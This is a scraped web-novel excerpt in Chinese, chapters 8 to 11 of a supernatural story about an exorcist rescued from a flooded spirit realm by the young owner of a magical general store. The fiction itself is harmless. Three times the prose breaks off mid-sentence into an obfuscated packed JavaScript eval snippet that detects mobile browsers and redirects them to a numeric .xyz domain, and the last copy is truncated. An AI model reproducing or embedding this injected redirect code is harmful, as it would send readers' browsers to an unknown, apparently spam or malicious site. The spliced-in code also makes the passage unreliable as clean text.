离开虚境有两种方法，一是找到返回人间的“路引”，二是被别人找到。 吴雨的手绘油纸伞就是一种强大的路引，邪祟恐惧它，不得不让路。 叶幽尘手中的伞也是路引，这把伞常年放在餐厅门口这种人来人往的地方，沾染烟火气，很有灵性。 但这种路引能量太弱了，无法带他走出这个虚境，只能用来遮一遮雨，增强一点他和人间的联系，免得拖太久在虚境中迷失。 这种时候，要保持镇定，往印象中有寺庙或者道观的方向走。 香火信仰，也是一种路引。 叶幽尘知道该去哪里找路引，也知道自己该做什么。 他往愿望杂货铺的方向走。 蹚着水走了很久，因为风雨太大，衣物湿了大半，叶幽尘将湿透的刘海往后捋，回头一看，距离餐厅不过一百米。 “哗啦……”什么东西从脚边游过，叶幽尘往水里看了一眼，看到一个模糊的轮廓。他把手杖当鱼叉，狠狠戳进水中。 积水掀起一阵波澜，泼到他的脸上，他下意识抬手去挡，不知什么东西缠上他的脚腕，拖他下水。 叶幽尘迅速爬起来，发现慌乱之中，墨镜被夺走了——那东西知道他要靠这副墨镜才能看见阴气！ 他一阵心慌，甚至不敢睁开眼睛。 方才眼睛又进了脏水，他怕自己彻底瞎了。 叶幽尘紧握手杖，心中镇定下来，缓缓睁开眼睛。 视野比戴着墨镜的时候更清晰了，他看到有一团巨物在积水里游弋，察觉到他的目光，这东西再次潜入水中，消失不见。 叶幽尘不可置信地眨了眨眼睛，他的视力真的变好了！ 他想起来了，离开杂货铺的时候，店主提醒过他，天黑之后，摘下墨镜会看得更清楚。 他当时心事重重，没有深想。原来店主已经给他治疗过眼疾了，并且确定治疗会起效。 店主什么时候为他治疗的？叶幽尘在脑海中一帧一帧地回放自己进店到离店的过程，最终锁定了那瓶苹果汁。 那不是普通的苹果汁，是能清除阴气的汤药。 也就是说，在他说明来意之前，店主就知道他的来意，并且给出了对症的汤药。 不需要调配，立刻就能拿出对症的药，说明店主有预知能力，或者遇到过很多像他这样的病人。 店主看起来不过二十出头，如此天赋，如此博学多才。 她的背景一定很强，或是出身隐世玄门家族，或是有个很强大的师父。她的家族或者师门掌握着千年树妖和百年猫妖的契约，并且非常器重她，所以让她将它们带在身边。 叶幽尘的师门在玄学圈赫赫有名，他就是靠师门的支撑，一步一步走到现在，知道一个强大的师门意味着什么。 想到这里，叶幽尘浑身发冷，再次庆幸自己及时阻止了周梦鹤。否则，他们得罪的不只是店主一人，还有她背后的人！ 8. 第 8 章 一片银杏叶从门缝挤进杂货铺。 蹲在地上猛猛吃猫粮的小橘猫抬起头：“绘秋，怎么啦？” 银杏叶在空中打着转：“雨水有点不对劲，我感受到了冥河的气息，你去看看？” 新道体还没有杂货铺高，根系也不够发达，叶子也飞不远，白绘秋的视野受限。 难怪店主今日让她长得茂盛一点。现在的她，太弱了。 树扎根地下，对冥河水很敏感。绘秋说感受到了，那就一定有问题。 妖界和冥界一向井水不犯河水，但现在不一样了，她们要守护店主的辖区，消除各类不安定因素。 小橘猫钻出杂货铺，灵活地跃上邻居家的楼顶，循着若有若无的冥河气息，在楼宇之间飞跃。 她停在一栋六层的民舍楼顶，俯瞰不远处的街道。 这条街道看起来和其他街道没什么两样，只是路上的积水高了一些，汽车纷纷绕路，行人也规规矩矩地走在人行道上。 问题就出在这里。主路上没有行人，积水却有行人的倒影。 不知道是什么东西从冥河游上来了，得想办法把这闹心的玩意儿赶走…… 小橘猫皱起眉头，刚要亮出妖兽纹，一把熟悉的冷翠色雨伞如一片碧荷飘入雨幕。 是店主！ 店主在一间面馆前站定，收起伞，突然看向她所在的方向。路灯映亮眼眸，里面写满掌控全局的淡然。 小橘猫：！ 小橘猫低头问好，转头朝杂货铺飞奔。 回到屋檐下，小橘猫甩干身上的雨水，对白绘秋说：“不用担心，店主亲自过去处理了。” 路灯下的银杏树轻轻摆动枝条，仿佛在点头回应。 “店主的视野比我们宽广多了。” 面馆门口，时愿收回目光，晃掉伞上的雨珠。奇怪，刚才好像有人在看着自己，回头又没看到熟人。 错觉吧？毕竟第六感偶尔也会失灵，尤其在吵闹的雨夜。 时愿把伞放到门口的桶里，在地毯上蹭干净鞋底，掀开磁吸门帘，笑着和老板打招呼：“龙叔，一份砂锅牛肉刀削面，不要香菜。” “好嘞！还是老样子，给你多加鱼肉丸，今天现做的，新鲜得很。”龙叔是个壮实的中年男人，手臂上纹着一条龙，是那种可止小儿夜啼的长相，但脾气和长相正相反，热心又大方。 “谢谢龙叔，锦姨还没下班吗？”时愿看着他揉面，眼中写满了对美食的渴望。 “没呢，最近老忙了，我喊她早点关门她还不乐意，等会儿再不回来我得送饭过去……” 有熟客听到了，打趣道：“龙老板，你那么啰嗦，小心锦姐受不了你！” 面馆笑声一片。 “咕嘟咕嘟……”水蒸气顶起砂锅锅盖，香气越来越浓郁。 这热闹的人间烟火气，让连日的阴雨天气显得没那么恼人了。 人间的热闹传不到虚境，这里只有和急促的雨声。 叶幽尘看着积水上的倒影，手背鼓起青筋，警戒状态让斯文的手多了两分粗暴感。 其实离开虚境还有第三种办法—— 找出邪祟的藏身之处，除掉它。 这很困难，且十分危险，除了亡命之徒和疯子，没有人敢用这种办法。 一般做法就是寻找路引，走出虚境，接着设坛将邪祟送走。刚刚脱离虚境的邪祟就像蜕皮的蛇，较为虚弱，这样做的成功率很高。 但是他们上次失败了。 代价是一条性命。 那位被吞噬的同仁，还很年轻，去的路上满怀期待地说，等这次任务结束，就向喜欢的人告白。 叶幽尘的指甲深深地嵌进手掌，心脏鼓动得更快了。 那东西袭击他的时候，他立刻用手杖反击，虽然没有击中，但是那一挥，让他隐约感受到了和手杖的共鸣。 这不是普通手杖，是还没有“开刃”的灵器。 叶幽尘再次看向杂货铺的方向，心中有一个猜测。 店主可能早就算到，会有不速之客游到小镇，也知道他注定要和这个不速之客纠缠。 店主想解决这个不速之客，所以不仅给了他治疗眼睛的汤药，还额外给了一根驱邪的灵器，助他清算冤债。 想到这里，叶幽尘反而冷静了下来。 于公于私，他都决定要在虚境彻底除掉这东西。要是除不掉，至少要重伤它，或者拖住它，直到援兵到来。 绝对不能让它入海。 叶幽尘抽出藏在腰间的软刀，划破手掌，握拳，把血滴在积水里。 血气散开，积水如海面掀起阵阵波澜。 叶幽尘扔掉伞，双手握住手杖，盯着水面。 脚下突然塌陷，他被吸进漩涡里，身体下沉。积水灌入鼻腔，眼睛被刺得发疼。身后没有撞击的痛感，地面仿佛消失了，他沉入的不是积水的街道，而是冥河！ 即使葬身冥河，也要把这东西带回冥河去！ 叶幽尘闭眼，憋气，忽略起伏不定的河水，动用感官去追捕隐藏在水中的邪祟气息。 找到了！叶幽尘睁开眼睛，在水中转身，凭借直觉，如同挥剑一样挥出手杖。 他听到一声凄厉的惨叫，同时感觉有东西穿透他的腹部。他睁大眼睛，在浑浊的水域中，竟然看到有一样东西飞快地刺向他的心脏。 一张薄薄的卡片飘到他面前，乍现的光芒逼退了邪祟，叶幽尘眯起眼睛，甚至看清了写在卡片上的飘逸文字。 这是……愿望杂货铺的会员卡！ 热腾腾的砂锅牛肉刀削面，味道真的太好了。 面条筋道有嚼劲，吸饱了汤汁，越嚼越香。卤牛肉片得厚薄适中，肥瘦适宜，一点都不柴，面条底下还卧着满满的鱼丸和鹌鹑蛋。 时愿喝了一口肉香满满的汤，满足地垫了垫脚尖。 可能因为家里没有人擅长做面食的缘故，时愿隔一段时间就会想吃面食。 每次回老家，苏烛都会和她来这家面馆，吃一碗砂锅面。 时愿每次都能吃完，这次也不例外。 时愿放下汤勺，自言自语一般：“味道一点都没变，对吧？” 时愿的目光越过对面的空位置，隔着透明的门帘，落在街道上。积水有点高。 食客们也注意到了。 “诶呦，外边积水挺严重啊，是不是下水口堵住了？” “肯定是，都淹到人行道上了。” “我老婆快下班了，她开小电驴蹚不了水，我去清一下下水道。”龙叔对一位熟客说，“你帮我看一下店，马上回来。” 龙叔拿了根塑料水管，又抄起雨衣。 时愿起身：“龙叔，我帮你。” 龙叔给她递了根塑料水管：“谢谢啊小愿，下次给你多加个卤蛋！” 两人排查了一遍下水口和井盖，龙叔很有经验，一路教时愿怎么避开危险，怎么识别积水有没有漏电。 下水口果然被堵住了，清理掉淤积的垃圾，积水流动的速度变快了。 过到马路对面，时愿看到一个青年坐在马路牙子上，湿透的衬衫紧贴在身上，透出肌肉线条，被黑西裤包裹的长腿伸进积水里，手里握着一根断掉的手杖，一手的鲜血十分瞩目。 镇上很少有人穿西服，毕竟这里卖保险的都没有，不过她今天也遇到了一个，等等……这手杖好眼熟！ 时愿睁大眼睛细看，这不是叶幽尘吗？ 因为没戴墨镜，头发也散落下来了，她一下子没认出来。 这是又犯病了？还是遇到啥意外了？ “叶先生！”时愿喊了一声，朝叶幽尘走去。 凭借手杖，叶幽尘重伤邪祟，但身负重伤，到极限了。 他从冥河浮上来，跌跌撞撞地走向杂货铺，然后摔倒在了路边。 手杖断掉了，手上的伤也更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364210|183848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严重了，可是他快要感受不到痛了。 他走不到杂货铺，走不出这个虚境了。 就算吞噬掉他，那东西一时半会儿也养不好伤口，不敢贸然入海。 他的同门一定能及时赶来拦截它。 “哗哗……” 那东西游过来了，恶寒爬上他的身体，他已经无力反抗。 意识逐渐模糊。 叶幽尘虚弱地扇动睫毛，忽然想起一段久远的记忆。 他的老家是山脚下的一个村庄，那里流传着一个灵异传说。 据说山上有一条长长的山洞，能通往冥府，时不时就会有东西跑出来，要是走进去，就一定有去无回。 很小的时候，他的朋友们约定要进山洞冒险，他胆子小，不肯进去。朋友们告诉他，他们都进去好多回了，一点事都没有，里面还有很漂亮的鱼。 他不想进去，但是说服不了朋友们，又怕他们进去会出事，最后还是跟着进去了。 他们在路上走了很久很久，走得他都累了。 没有看到鬼，也没有看到漂亮的鱼。不过偶尔出现的溶洞水很清澈，颜色也很美。 他走累了，和朋友们说，我们回去吧。 朋友们不同意，说还没到目的地呢，你再坚持一下吧，去到那里，你就不孤独了，会有很多人陪你玩。 他听着觉得不对劲，山洞里面怎么会有人呢？而且，他们怎么好像早有预谋一样。 他和朋友们说，我现在也不孤独啊，不是有你们陪着我吗？ 朋友们唉声叹气，说我们不能一直在这边陪着你，所以才要带你去那边啊。 小叶幽尘隐约觉得不对劲，说什么也不肯再走了，一屁股坐在地上，喊饿，要回家吃饭。 朋友们说，可是你回到家，也没有人给你做饭。 他眼睛红了，朋友们围着他道歉。他越想越委屈，大哭起来。 后来的事他记不清了。 只记得他被人背出山洞，他惦记着朋友们，偷偷回头看，见到两个小孩跟在后面。 其中一个小女孩见他看着自己，把手里的积木塞到他的掌心：“不怕了，你要快点好起来哦。” 回到村里，背着他的叔叔把他放到一辆牛车上，好多人又围上来，有他村里的大人，还有一个头发花白的爷爷。 小叶幽尘哑着声音说：“我的朋友们还在里面。” 爷爷目光复杂：“傻孩子，他们不是你的朋友，他们不是……” 小叶幽尘想起来了，村里根本没有人和他玩，他没有朋友。 小叶幽尘生了一场病，好起来后，才拼凑出当日的真相。 来收药材的大叔带着女儿和一个小男孩上山，大叔的女儿听到哭声，在山洞附近发现了他。 然后村里人凑钱，请来一位德高望重的老先生，用方术救了他的小命。 老先生后来又来找他，问他要不要跟自己走。老先生说，离开这里，可以找到真正的朋友。 小叶幽尘握着口袋里的积木，用力点了点头。 后来，老先生成了他的师父，那个山洞也被封死了。 可是，他怎么觉得，他的朋友们又回来接他了呢？ 叶幽尘垂眸看着水面，上面浮现出几个影子。 其实当年，他很想跟他们一走了之。 叶幽尘朝水面伸出手。 “叶先生！”清冷的声音将叶幽尘从走马灯中拉出来。 指尖触碰积水，泛起一圈圈涟漪。 一把伞伸到他的头顶，恶寒退散，叶幽尘抬起头，看到一双如同工笔描绘的眼睛，记忆中小女孩的脸和眼前的人重合起来。 他想起来了，当年，朋友们说他哭得太大声，不忍心带他去那个地方，又带着他往回走。 虚境破碎，水面的人影朝着他挥了挥手，散去。 叶幽尘收回手。 彻底回到人间。 9. 第 9 章 店主的瞳色很深，让人联想到深夜的海，平静却不敢长久地凝视。 叶幽尘垂下眼睫，感受到藏在衣服底下的积木吊坠在发烫。昏沉的脑袋里来回地循环着一个声音： 店主就是当年把他带出山洞的小女孩。 叶幽尘忍不住又去找那双平静的眼睛，可是视野变得模糊不清，身体沉沉地往下坠，在失去意识之前，他听到自己对店主说：“好久不见。” 浑身湿透的青年突然倒下，时愿的手比脑子还快，及时拽住他的衣领，拯救了他那差点和大地亲密接触的后脑勺。 他的身体在发烫，眼角一片病态潮红，人已经烧糊涂了，不停地说胡话。 “你又……救我……” “我没抓住它……还弄坏了手杖……对不起……” “我现在……想留在这边了……我会努力……” 龙叔帮时愿把人扶住，问她：“小愿，你认识这人？小伙子怎么把自己搞成这样啊，失恋还是失业啊？” “客户。”时愿实在搬不动这大高个，只得求助，“龙叔，可以帮我找个人送他去医院吗？” “我跟你去。”龙叔二话不说，背起叶幽尘，“你去店里拿车钥匙，就在收银台上面。” “店里怎么办？”时愿道，“李叔应该吃完了。” 李叔就是答应帮忙看店的熟客。 龙叔：“多大点事，没救人要紧。我让我儿子下来看店。” 好在，他们刚把叶幽尘弄上车，老板娘锦姨就回来了。 龙叔和锦姨说了声，锦姨掏出钱包丢给他，发了话：“你等这个小帅哥醒了再送小愿回家，别留她一个人在医院，到时候惹上什么纠纷都说不清楚。” 龙叔点头，让她赶紧回店里吃饭。 时愿想联系叶幽尘的家人或者朋友，但是没有找到他的手机。 时愿犯愁：“他的手机不会掉在积水里了吧？” “您拨打的电话暂时无法接通……嘟嘟……” 周梦鹤一拳砸在方向盘上，手指因焦虑而痉挛。 半个小时前，他接到了叶幽尘的电话，叶幽尘没有说话，听筒传出古怪的杂音，像是湖水拍打的声音，又像很多人同时窃窃私语，大约30秒后挂断。 周梦鹤浑身发冷，当即明白，这通电话是从哪里拨过来的。 叶幽尘被拉进虚境了，这是一通求救电话。 为了方便救援，他们的手机都装了定位器，叶幽尘的实时定位已经消失在地图上，周梦鹤查了他的行迹，确定他是在桂圩镇的一家茶餐厅附近消失的。 周梦鹤立刻联系了家里，让周爸安排人过来救援，期间不停拨打叶幽尘的手机，一次都没有被接通过。 半小时过去了，叶幽尘还带着伤，如果他没有走出虚境，凶多吉少。 周梦鹤十分后悔，他不应该听叶幽尘的话，独自离开桂圩镇。要是他留下，叶幽尘不至于孤军奋战。 越野车抵达目的地，周梦鹤拿着沙漏下车，流沙疯狂倒流，玻璃裂开缝隙，蓝色流沙落在潮湿的街道上，形成一条河流的形状，缓缓向下水道飘去。 周梦鹤通过流沙，读出了不久前发生在这里的部分信息。 冥河现，幽尘落。 师叔死了。 周梦鹤双膝跪地，失声痛哭：“师叔，我来晚了……” “小伙子，你干嘛呢？” 周梦鹤被人打断，含泪看过去，一个大叔站在茶餐厅门口，警惕地看着他。 大叔身上的围裙印着茶餐厅的名字。周梦鹤如梦初醒，抓住最后一根救命稻草似的，跌跌撞撞地来到大叔面前，给他看叶幽尘的照片：“你有没有见过这个人？” “见过，他今天来我店里吃饭来着，有人看到他晕倒在路上，被对面的龙老板送去医院了，我正准备过去看看。”老板一脸倒楣相，照片里的帅哥倒在餐厅附近，很多人都看到了，猜帅哥是食物中毒。老板信誓旦旦地告诉食客们，帅哥肯定不是食物中毒，他会亲自去医院核实，回来给大家一个说法。 想到这里，老板狐疑地看着周梦鹤：“你们不会是一伙儿的吧？职业碰瓷的？” “什么乱七八糟的，我是他朋友，他身上有严重的旧伤，快带我过去！不然就晚了！”周梦鹤情绪激动地握住老板的手臂。 “不早说！走！”人命关天，茶餐厅老板跨上小电驴，抛给他一个头盔。 “咻咻——”小电驴全速启动。 周梦鹤发热的头脑还没冷静下来，人已经被餐厅老板拽下车，直奔急诊室。 小镇就一家小医院，晚上就两名医生值班。茶餐厅老板熟门熟路，很快就问到叶幽尘的下落，又拽着周梦鹤奔向输液大厅。 茶餐厅老板突然刹住脚步，周梦鹤跟着停下来，鼻子撞上老板的后脑勺，脑袋狠狠一震，差点灵魂出窍。 周梦鹤痛得脑袋发蒙，手机突然响起铃声，他立刻接听：“喂？” “周梦鹤？” 听筒里的声音和现实的声音重叠起来，周梦鹤抬头，看到一个女生朝自己走来，她一手拄着冷翠色长柄伞，一手握着手机，纤长的手指被深冷的颜色衬得越发瞩目。 伞尖在地砖上碰出轻响，裙摆摇曳，连行走的姿态都显得比他人从容沉稳。 愿望杂货铺的店主。 时姑娘。 她怎么会在这里？ 时愿挂断电话，把手机放进包里，同周梦鹤说：“你师叔的手机丢了，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364211|183848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问罗婶拿到了你的电话。” 周梦鹤看向病床上的叶幽尘，他穿一身病服，脸色惨白，呓语不断，一只手在输液，另一只手包裹着纱布，有血迹渗出。 手上的外伤只是轻伤，周梦鹤能看出来，叶幽尘身上的阴气很重，应该是被那东西拖入冥河后重伤了。以他这样的状态，不可能靠自己走出虚境。 “是你救了我师叔。”周梦鹤语气笃定。 杂货铺离出事的街道不算远，店主契约的树妖一定能察觉到冥河的气息，她及时赶到，找到了师叔。 时愿：“我只是发现了他，主要是龙叔在忙。” 周梦鹤心头一震，能在这么短的时间内，找到陷入虚境的人，她的眼力和嗅觉非同寻常。 时愿的目光越过他，看向后面：“龙叔来了。” 周梦鹤回头，一个比他还要高大的中年男人站在他身后，阴影落在他头顶，带来压迫感。 周梦鹤看到男人手臂上的龙纹身，不知道是不是自己头昏眼花，总觉得它动了一下。 龙叔想起老婆的嘱咐，担心这个外乡人是来找麻烦的，抱起双手审视他：“小愿，他是谁？” “病人的临时监护人。”时愿问，“拿齐药了吗？” 龙叔把药袋递给她：“都在这里了。” 时愿整理好各种单据，交给周梦鹤：“用法用量都在这里面了，接下来你来看护他，药水滴完就找护士。钱是我垫付的，等他醒了，让他联系我。” 茶餐厅老板终于找到机会插话了：“不是食物中毒吧？” 时愿：“不是，医生说是过劳，加上淋雨发烧。” “让我拍一下诊断说明！大家都在传他是食物中毒，我老冤枉了！” 时愿安慰他：“林叔，别急。等他醒了，让他去帮你解释。” 林叔：“小愿，你也得帮我说说话，你说的话有分量。” 时愿笑着答应他：“我一定帮你作证。” 目送店主等人离开，周梦鹤坐在病床旁边，守着叶幽尘。 叶幽尘的呓语更大声了，周梦鹤竖起耳朵辨认，听到他说：“店主……会员卡……护身符……” 会员卡？护身符？ 叶幽尘换下来的衣物和随身物品都装在袋子里，挂在病床旁边。 周梦鹤翻了翻，找到一张卡片，中央有一个圆形的洞。 周梦鹤举到眼前，透过孔洞，看到汹涌浑浊的河水。 啪—— 破损的会员卡掉在地上，周梦鹤心有余悸。 他第一次直视冥河的力量，终于明白，就算他没有离开，也只会给师叔拖后腿。 他有一种强烈的直觉，今天发生的一切，都在店主的掌握之中。 10. 第 10 章 晚上九点，时愿扎起刚刚吹干的长发，坐到书桌前，翻开速写本。 笔尖在粗糙的纸面上游走，还原她在路边看到的一幕。 被雨淋湿的青年坐在马路牙子上，身边是几个凌乱的交通锥。青年朝积水伸出手，涟漪沿着指尖一圈圈荡开，交通锥在水中的倒影变成了几个边走边回头，朝青年伸出手的小孩。 时愿用寥寥几笔画出雨势，盖上秀丽笔。 ——落魄的成年人看着水中的倒影，想起儿时和朋友们在雨中踩水玩耍的画面，他想回到过去，可是握不住水中的虚影。 雨还是雨，变的只是人的心境。 时愿拍了张照片，发到朋友圈，配文：把今天看到的一幕画下来了，那几个交通锥的倒影太像人影了，让我产生了灵感。ps：最近多雨，大家出门一定要记得带伞，避免淋雨生病。 接着又发一条广告。 小店新进一批雨伞，晴雨两用，价格35元一把，欲购从速。 时愿放下手机，熄灯睡觉。 县城人民医院。 吴雨一手输液，一手圈住手绘油纸伞，艰难地刷着朋友圈。 愿望杂货铺刚刚更新了两条动态。吴雨先被那张速写吸引了注意力。 运势低的成年人在雨夜摔了一跤，擦破皮的手掌滴着血，这个时候，他余光注意到积水中的画面有些古怪，不小心看到窥见另一个世界的鬼影，并受到蛊惑，伸出了手。 这绝对不是一幅普通速写，应该是大佬的工作记录，画中的青年是大佬的某一位客户。 大佬发这条朋友圈，是想提醒有相同经历的客户：多事之秋，出门带好护身符。 吴雨心里暖暖的，先点赞后回复：谢谢大佬提醒，我现在出门必带油纸伞！膜拜大佬新作！ 话说回来，大佬真是才艺卓绝，这幅画的灵异氛围太浓了，他多看几眼，都感到头皮麻烦，好像要陷进那片积水里。 吴雨不敢再看，把手机揣回兜里，没摸到随身携带的红绳，低头一看，红绳不知道什么时候掉到地上了。 吴雨把油纸伞换到另一边，用手臂夹住，弯腰去捡红绳。 快要碰到红绳的时候，他突然想到这个姿势和画里的青年很像，顿时汗毛竖起。这一停顿，让他注意到一个更加古怪的细节，落在地上的红绳围成一个圈，正好圈住他所在的位置。 圈外，折射冷光的瓷砖上似有波纹荡开。 吴雨僵硬地直起身，抱紧油纸伞，缩在红绳圈出的安全区里，给愿望杂货铺转账140元。 [吴雨]：大佬，我要买四把伞！ 他买的不是伞，是四倍的安全感！ “小愿小愿，给我留一把伞，什么颜色都可以。” “你和周大师联系上了吗？没吵架吧？他就是口无遮拦，其实心不坏，要是他对你说了什么难听的话，你千万不要放在心上，我去找他理论。” 给时愿发完语音，没等到回复，罗婶心里越发不安，在床上翻来覆去。 “别烙饼了。”石叔打了个哈欠，“那么不放心，就给周大师打个电话不就好了吗？” “我打了好几个电话，他关机了，所以我才更担心了啊！”罗婶愁眉苦脸，“我都没对小愿提起过周大师，她却知道这个人，肯定是周大师去找她麻烦了。她看在我的面子上忍了，但是越想越气，所以才来问周大师的电话号码。你说，这个情况，我怎么可能睡得着……呼呼……” 说着说着睡着了。 石叔：“……” 桂圩医院。 叶幽尘睁开眼睛，三张脸同时凑到他面前，关切地俯视他。 “师弟，你醒了！” “师叔，你醒了！” “我还……活着？”叶幽尘听到自己的嗓音哑得不像话。 “店主救了你。”周梦鹤告诉他，“是她找到你，也是她送你来医院。她让你醒来之后联系她。” 叶幽尘闻言，立刻去拔输液针。 周父按住他：“师弟，不急在一时。人家的意思是让你好了再去找她，况且，这个时间人家已经休息了。” 周二叔问：“师弟，说说到底发生了什么吧。” 叶幽尘把来龙去脉说了一遍：“对不起，我让那东西跑了。” 周父摆摆手：“你能重伤它，已经是很好的结果了，哪里需要道歉？是我们该谢谢你啊。” “这东西一定会找一片水域躲起来疗伤，再找机会入海。”周二叔拍拍他的肩膀，“好了，这件事你不要再管，我和大哥抓紧时间安排人去排查水域，不让它再害人。” 叶幽尘不置可否，问周梦鹤：“我的东西呢？” “都在这里了。”周梦鹤把袋子给他，“只有衣服和损坏的会员卡，店主说你的手机好像丢了。师叔，你小心点，我刚才看到冥河了。” “嗯？” 周梦鹤：“透过会员卡的孔洞。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364212|183848||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周父和周二叔轮流参观会员卡，随着时间的推移，孔洞后面的冥河越来越模糊，但还是很震撼。 周父扶了扶眼镜：“一直听你们提起这位店主，我都没有什么实感，现在看来，是个人物。” 周二叔：“这卡片上施加的不是一般方术。小姑娘年纪轻，再怎么天才也没这么大的法力，恐怕杂货铺背后另有高人。” 周父：“不管如何，一定不能得罪她，尽量和杂货铺交好。” 周梦鹤生无可恋：“爸……我已经把人得罪了。” 周父：？ 时愿一觉睡到自然醒，拉开窗帘，眺望远处的稻田，秧苗还未长成，稻田看着像一片片小池塘。 手机收到好多预订雨伞的转账消息，时愿按照收到的时间一一回复，刚到店的雨伞，还没搬上货架就卖没了。 时愿发了条雨伞告罄的朋友圈，感谢大家对小店生意的支持。 又私信罗婶：罗婶，不用担心，相信他已经知道错了。 时愿刚出门就看到两个大高个站在杂货铺门口。 周梦鹤还穿着昨天那身衣服，皱皱巴巴的，整个人看起来有点沧桑。叶幽尘倒是换了身衣服，脸色还是差。 看到时愿，两人的眼睛同时亮了起来。 “老板，我是来向你道歉的。”周梦鹤向前一步，小腿不知为何突然一麻，扑通一声跪在了时愿面前。 时愿：！ 原来你们说的磕头认错是来真的啊！ 周梦鹤懵了一下，随后反应过来，这是店里的两只妖在作怪。店主不计前嫌救了叶幽尘，周梦鹤心里也没有火气，干脆跪得端正了些：“之前是我太自以为是，误会你了，对不起。谢谢你昨天救我师叔，希望你能原谅我。” 时愿往旁边挪了挪：“我们镇不兴这种道歉方式，你快起来。” “嘶……”来送菜的罗婶远远看到一个大帅哥跪在时愿面前，吓得一个急刹车，“小愿，这是怎么回事啊？” 周梦鹤看到来人，自报家门：“罗婶，我是周梦鹤，我是来道歉的。” 罗婶用钦佩的目光看着时愿。 一通电话让大师跪着认错，时愿是什么水平不用多解释了。 时愿：“……”这下真是解释不清了。 …… 白绘秋小声问猫猫：“是你干的吗？” 猫猫小小声回答：“不是我。” 那必然是店主亲自动手了。 11. 第 11 章 早上的小镇很热闹。 来来往往的人们更爱看热闹。 周梦鹤跪下的这一会儿功夫，已经引得好几个大爷大妈驻足。 时愿不想被围观，让两人跟自己进店里。 罗婶停好车，提着一篮子新鲜瓜果蔬菜和鸡蛋，追进店里。 “小愿，我来拿雨伞，顺便给你送点蔬菜。” 时愿让两位青年坐下稍等，拆开纸箱，拿出几把雨伞给罗婶挑。 罗婶的心思分明不在雨伞上，悄声问：“小愿，你是怎么把他收拾得服服帖帖的？” 这位周大师，之前信誓旦旦地说小愿是骗子，才过去多久，都给人跪下了，还一脸甘愿。 时愿：“我什么都没做，是他的师叔明事理，压着他来道歉。” 罗婶闻言一惊，看向叶幽尘：“这个是周大师的师叔？” “嗯。” “他是不是姓叶？” “对。” “不得了哦……”罗婶对这位师叔略有耳闻，中间人把他吹得天花乱坠，末了告诉她，叶先生名气太大，这种小事一般不会出面。 这般人物，都要对时愿低头。 罗婶忍不住挺直腰杆，有种隐秘的快意。 时愿撑开伞，向罗婶推荐：“这个清莲花纹的衬你。” 这把伞颜色淡雅，罗婶很心水，留下一篮子果蔬，拿着伞高高兴兴地走了。 柜台上又多了一个包装精美的果篮，挑的全是贵价水果。 叶幽尘垂着眼睫：“您昨天又救了我一次，谢谢。仓促间买不到什么像样的礼物，下次再补上，抱歉。” 一大早压着师侄来磕头认错，又是谢谢又是抱歉的，这位叶先生看着年轻，行事真的很老派啊。 “这个果篮已经很贵重了，下次来不用带东西。”时愿有一说一，“昨天晚上龙叔出力多，我没帮上什么忙。你身体还没恢复，早点回家休息吧。” “我已经听小鹤说过了，一会儿就去拜访龙先生。这次上门，除了道谢，还有事相求。”叶幽尘起身，双手将损坏的会员卡放在柜台上，“我想补办会员卡。” 放置一晚上，会员卡上的冥河气息已经消失了，透过孔洞也看不到另一个世界了。他们研究了很久，看不出这张卡用了什么方术，损坏成这样，徒手竟然掰不断。 时愿看到穿了一个大洞会员卡，惊呆了。这是怎么弄的？ 不过，她对客户的私事不感兴趣，没有多问，只是把损坏的卡丢进垃圾桶，给他换了张新的，重新录入信息。 时愿提醒他：“你可以绑定一张电子会员卡，能实时查账户余额。” 叶幽尘的眼眸亮了亮。电子护身符？店主的方术真是与时俱进。 他在时愿的指导下开通了电子会员卡，接着道：“我还想购买‘苹果汁’和一把新的手杖。” 叶幽尘心里也没有底，这么贵重的灵器，他用了一次就报废，还没抓住那东西，店主可能再也不想做他的生意了。 时愿：“苹果汁还有，但是手杖没有适合你的尺寸了，你要订购吗？” 叶幽尘语气带上了些许急切：“要！” 时愿想起昨晚那把“惨死”的手杖，问他：“需不需要订购一把质量更好的？” “要！” “对款式有没有要求，心理价位是多少？” “没有要求。”叶幽尘想了想，“50万以内可以吗？” 时愿：？ 昨晚，时愿特意告诉医生，叶幽尘眼睛有伤。医生检查了下，说他的眼睛看起来没有问题，可能是伤了神经，或者是受事故后的心理创伤影响。 现在看来，叶幽尘确实病得不轻。 时愿深吸一口气：“这个价位的我找不到。” 太便宜了？叶幽尘想都没想：“那100万？我可以先付全款。” 时愿看向周梦鹤：“你觉得我给他找什么价位的合适？” 周梦鹤只会比叶幽尘更奢侈：“要最好的。” 时愿明白了，他们根本不差钱。 时愿看了眼叶幽尘的会员卡余额：“我给你们找一根适合年轻人的手杖吧，一千块以内的。” 一千块？ 